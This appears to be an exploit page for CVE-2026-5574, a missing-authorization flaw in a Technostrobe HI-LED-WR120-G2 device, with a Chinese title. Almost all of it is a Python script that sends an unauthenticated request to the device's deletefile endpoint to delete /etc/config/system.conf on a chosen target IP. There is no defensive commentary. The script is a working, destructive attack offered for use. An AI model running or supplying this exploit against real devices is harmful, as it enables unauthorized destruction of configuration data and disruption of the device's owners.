CVE-2026-5574 Technostrobe HI-LED-WR120-G2 访问控制缺失漏洞

import requests def exploit(target_ip): # Target endpoint for the vulnerable deletefile function url = f"http://{target_ip}/FsBrowseClean/deletefile" # Malicious parameters to exploit the missing authorization # The 'dir' and 'path' arguments are manipulated to delete a specific file params = { "dir": "/etc/config", # Example sensitive directory "path": "system.conf" # Example critical file to delete } try: print(f"[+] Sending exploit request to {target_ip}...") response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. File may have been deleted.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Exploit failed due to network error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit(target)